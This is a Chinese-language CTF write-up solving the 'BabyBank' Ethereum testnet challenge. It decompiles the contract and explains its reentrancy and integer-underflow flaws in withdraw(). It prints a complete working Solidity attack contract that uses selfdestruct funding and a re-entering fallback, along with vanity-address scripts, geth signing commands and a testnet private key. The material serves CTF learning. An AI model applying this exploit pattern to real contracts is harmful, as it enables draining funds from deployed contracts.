一、題幹

與前文重複的內容將不多贅述, 若有疑惑可以翻看前文,或者評論

此題給出的合約是Rospten上的BabyBank, 合約地址為0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c, 除此之外還給出了部分代碼

pragma solidity ^0.4.23;

contract babybank {
mapping(address => uint) public balance;
mapping(address => uint) public level;
address owner;
uint secret;

//Dont leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string md5ofteamtoken,string b64email);

constructor()public{
owner = msg.sender;
}

//pay for flag
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 10000000000);
balance[msg.sender]=0;
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}

modifier onlyOwner(){
require(msg.sender == owner);
_;
}
......
}

二、題幹分析

根據題目給出的部分solidity代碼,我們需要通過與合約其他為開源的函數交互來繞過函數payforflag中的校驗

require(balance[msg.sender] >= 10000000000)

, 纔可以觸發到sendflag拿到flag。

三、合約逆向

同樣的,我們還是使用OnlineSolidityDecompiler 對合約進行逆向,在Ropsten 上將合約的代碼copy到OnlineSolidityDecompiler(別忘了去掉前面的0x)。

3.1 預處理

雖然OnlineSolidityDecompiler 吐出來的結果已經非常易讀,但是畢竟也是一堆偽代碼,為了更加快速準確的手動反編譯出源代碼,我一般會做一些預處理。

函數數量確定: 在solidity編譯的過程中會將所有public的全局變數當做函數來處理,同樣會生成函數選擇器,所以OnlineSolidityDecompiler(後簡稱OnlineD)會生成冗餘的函數選擇器,例如在本題中OnlineD吐出來的Public Method有八個:

  • 函數選擇器 函數簽名
  • 0x2e1a7d4d withdraw(uint256)
  • 0x66d16cc3 profit()
  • 0x8c0320de Unknown
  • 0x8e2a219e Unknown

  • 0x9189fec1 guess(uint256)
  • 0xa9059cbb transfer(address,uint256)
  • 0xd41b6db6 Unknown
  • 0xe3d670d7 balance(address)

在solidity編譯的過程中,會對函數簽名做sha3,然後取高位4個位元組作為函數選擇器,比如 0x2e1a7d4d == bytes4(keccak256("withdraw(uint256)")), OnlineD識別出來的函數簽名是來自與一個網上數組簽名資料庫FunctionSignatureDatabase, 這上面存儲了所有開源合約的函數簽名與函數選擇器的對應(並非一一對應),0x8c0320de, 0x8e2a219e和0xd41b6db6三個函數選擇器在FunctionoSignatureDatabase中並沒有被存放,所以OnlineD吐出的內容是Unknown。我通常會用一個python腳本將合約中所有已知的且並未被OnlineD識別出來的函數簽名算一下

#! /usr/bin/python
# -*- coding:utf-8 -*-

get function signature

import _pysha3, argparse

def get_argument():
parser = argparse.ArgumentParser("get function signature")
parser.add_argument("-f", "--function_name", help=Enter the function name and parameter)

temp_args = parser.parse_args()
if temp_args.function_name == None:
raise IOError("Please the function name argument")

return temp_args

def main():
args = get_argument()
b = _pysha3.keccak_256(args.function_name)
print 0x + .join(list(b.hexdigest())[:8])

if __name__ == "__main__":
main()

$ get_signature.py -f "level(address)"
>> 0xd41b6db6

$ get_signature.py -f "payforflag(string,string)"
>> 0x8c0320de

然後我將0xd41b6db6 和 0x8c0320de 分別標記為 level(address) 和 payforflag(string,string), 這樣我在還原源代碼的時候只需要關注從 0x2e1a7d4d(withdraw), 0x66d16cc3(profit), 0x8e2a219e(Unknown), 0x9189fec1(guess), 0xa9059cbb(transfer)這五個函數選擇器跳轉後的代碼。

全局變數標記: EVM將合約中的全局變數存放在一個叫Storage的鍵值對虛擬空間,並且對不同的數據類型有對應的組織方法,以本題為例,balance[addr1]會被存放在Storage[keccak256(addr, 0x00)], level[addr]會被存放在Storage[keccak256(addr, 0x01)], ownersecret 分別會被存放在Storage[0x2]和Storage[0x3]。

3.2 合約源碼(手動還原)

pragma solidity ^0.4.23;

contract babybank {
// 0xe3d670d7 0
mapping(address => uint) public balance;
// 0xd41b6db6 1
mapping(address => uint) public level;
// 2
address owner;
// 3
uint secret;

//Dont leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string md5ofteamtoken,string b64email);

constructor()public{
owner = msg.sender;
}

//pay for flag 0x8c0320de
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 10000000000);
balance[msg.sender]=0;
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}

modifier onlyOwner(){
require(msg.sender == owner);
_;
}

//0x2e1a7d4d
function withdraw(uint256 amount) public {
require(amount == 2);
require(amount <= balance[msg.sender]);
// reentrancy !!!
address(msg.sender).call.gas(msg.gas).value(amount * 0x5af3107a4000)();
// overflow
balance[msg.sender] -= amount;
}

//0x66d16cc3
function profit() public {
require(level[msg.sender] == 0);
require(msg.sender & 0xffff == 0xb1b1);

balance[msg.sender] += 1;
level[msg.sender] += 1;
}

// 0x8e2a219e
function xxx(uint256 number) public onlyOwner {
secret = number;
}

// 0x9189fec1
function guess(uint256 number) public {
require(number == secret);
require(level[msg.sender] == 1);

balance[msg.sender] += 1;
level[msg.sender] += 1;
}

// 0xa9059cbb
function transfer(address to, uint256 amount) public {
require(balance[msg.sender] >= amount);
require(amount == 2);
require(level[msg.sender] == 2);

balance[msg.sender] = 0;
balance[to] = amount;
}
}

四、解題思路

4.1 漏洞定位

根據還原出來的合約源碼,我關注到有兩個地方有可能存在漏洞,兩處都是在函數withdraw中:

address(msg.sender).call.gas(msg.gas).value(amount * 0x5af3107a4000)();
balance[msg.sender] -= amount;

第一處,轉賬不用send, transfer而要用call, 這個地方肯定可以重入,可能是一個可以利用的reentrancy漏洞; 第二處,做加減法不用Safe Math庫,若能另balance[msg.sender]為零,可以造成underflow(在Ethereum的語境中underflow的意思就是減法溢出)。

4.2 漏洞利用

假設此時我們擁有一個balance >= 2的賬戶(可以繞過函數withdraw的那兩句校驗),那麼我們可以通過重入該函數,多次執行

balance[msg.sender] -= amount;

造成underflow,從而獲得巨額balance, 通過payforflag的校驗。

4.3 利用合約提供的函數合理繞過withdraw的校驗

可以增加balance的函數有三個profit, guess, transfer, 根據代碼,先調用profit,然後調用guess便可以獲得一個balance為2的賬戶來繞過withdraw的校驗了,但是profitguess分別都有自己的校驗機制,guess需要我們輸入一個和secret相同的數:

require(number == secret);

這點很簡單,我們只需到Ropsten上去找到合約主發出的交易,最近的一筆函數選擇器為0x8e2a219e的交易即為對secret賦值的交易,將參數copy下來即為此刻的secret;而profit要求我們的賬戶最低四位為1b1b,我通常利用python的包ethereum來做這件事:

from ethereum import utils
import os, sys

# generate EOA with appendix 1b1b
def generate_eoa1():
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))

while not addr.lower().endswith("b1b1"):
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))

print(Address: {}
Private Key: {}.format(addr, priv.hex()))

# generate EOA with the ability to deploy contract with appendix 1b1b
def generate_eoa2():
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))

while not utils.decode_addr(utils.mk_contract_address(addr, 0)).endswith("b1b1"):
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))

print(Address: {}
Private Key: {}.format(addr, priv.hex()))

if __name__ == "__main__":
if sys.argv[1] == "1":
generate_eoa1()
elif sys.argv[1] == "2":
generate_eoa2()
else:
print("Please enter valid argument")

其中,generate_eoa1可以直接生成低四位為1b1b的外部賬戶,generate_eoa2可以生成一個外部賬戶,該外部賬戶部署的第一個智能合約的地址低四位為1b1b。使用generate_eoa1我們需要使用transfer 將獲得的balance轉給攻擊合約,然後讓攻擊合約去觸發漏洞,而使用generate_eoa2將獲取balance和觸發漏洞的邏輯都寫在攻擊合約中一步到位,更加方便,我們下面向大家介紹第二種解題方法,第一種有興趣的讀者可以自行嘗試。

4.4 向合約轉賬

我們回過頭再看一下這個reentrancy的觸發點:

require(address(msg.sender).call.gas(msg.gas).value(amount * 0x5af3107a4000)());

如果Babybank合約的ETH餘額小於amount * 0x5af3107a4000, 這筆交易實際上會被EVM revert掉,不會執行成功,所以為了保證交易能成功執行,我們必須要給Babybank合約轉賬,但是在Ethereum中向合約賬戶轉賬不同於向EOA轉賬,合約中的只有配有關鍵則payable的函數纔可以接收ETH, 否則交易會被revert, 根據我們手動還原的代碼顯示,Babybank沒有一個函數能夠接收ETH, 那麼我們只能通過合約自毀強行向Babybank轉賬(合約自毀時可以將自己的ETH餘額全部強制轉給某個賬戶)。

4.5 編寫攻擊合約

// malicious contract
pragma solidity ^0.4.24;

interface BabybankInterface {
function withdraw(uint256 amount) external;
function profit() external;
function guess(uint256 number) external;
function transfer(address to, uint256 amount) external;
function payforflag(string md5ofteamtoken, string b64email) external;
}

contract fund {

function commit_suicide() public payable {
selfdestruct(address(0xD630cb8c3bbfd38d1880b8256eE06d168EE3859c));
}
}

contract attacker {

BabybankInterface constant private target = BabybankInterface(0xD630cb8c3bbfd38d1880b8256eE06d168EE3859c);
// this address is not stable
uint private flag = 0;

function exploit() public payable {
fund funder = fund( (new fund)() );
funder.commit_suicide.value(msg.value)();
target.profit();
target.guess(0x3fde42988fa35);
target.withdraw(2);
target.payforflag("xxxxxxxxxxxxxxx", "xxxxxxxxxxxxxxxxxxxxxxxxx");
}

function() external payable {
require (flag == 0);
flag = 1;
target.withdraw(2);
}
}

五、解題過程

5.1 導入賬戶

$ python3 1b1b.py 2
>>
Address: 0x8FB0C0A29DA63aeeDCF09758BA2Be6959ed49A0A
Private Key: 02fbf91e58c73219207705704e10a3cad414644d4fe588dbd28b92854a8d96c7
// In geth console

> personal.importRawKey("02fbf91e58c73219207705704e10a3cad414644d4fe588dbd28b92854a8d96c7", " ")

"0x8fb0c0a29da63aeedcf09758ba2be6959ed49a0a"

找一個以太坊水龍頭拿點ETH。

5.2 部署合約

部署合約之前要用solc對合約進行編譯,但是由於solc每個版本更新的太快,往往前幾個版本能編譯通過的合約,新的版本就通不過,所以我一般用Remix選擇老版本的solc來編譯合約。

// In geth console
> eth.signTransaction({from: "0x8FB0C0A29DA63aeeDCF09758BA2Be6959ed49A0A", data: bin, gas: "0xfffff", gasprice: "0xb2d05e00", nonce: "0x00"})

{
raw: "......",
tx: {
......
}
}

將Remix編譯出來的合約bytecode賦值給bin,然後利用signTransaction對部署合約的交易進行簽名,最後copy到Broadcast Raw Transaction,幫我們廣播交易。

5.3 發起攻擊

獲取函數選擇器

$ get_signature.py -f "exploit()"
> 0x63d9b770

對交易簽名

// In geth console
> eth.signTransaction({from: "0x8FB0C0A29DA63aeeDCF09758BA2Be6959ed49A0A", to: "0xbdf76b827b78af3882057b0ad10c3dc9f5d7b1b1", data:"0x63d9b770" , value: web3.toWei(0.1), gas: "0xfffff", gasprice: "0xb2d05e00", nonce: "0x01"})
{
raw: "......",
tx: {
......
}
}

到etherscan去搜索我們的這筆交易0x46ab146f6392c1a7490ba0ed502e8013e9befb23fd57abfe5b99280d2d0bad來確認一下是否成功的觸發了eventsendflag, 答案是顯然的。

OVER

推薦閱讀:

相關文章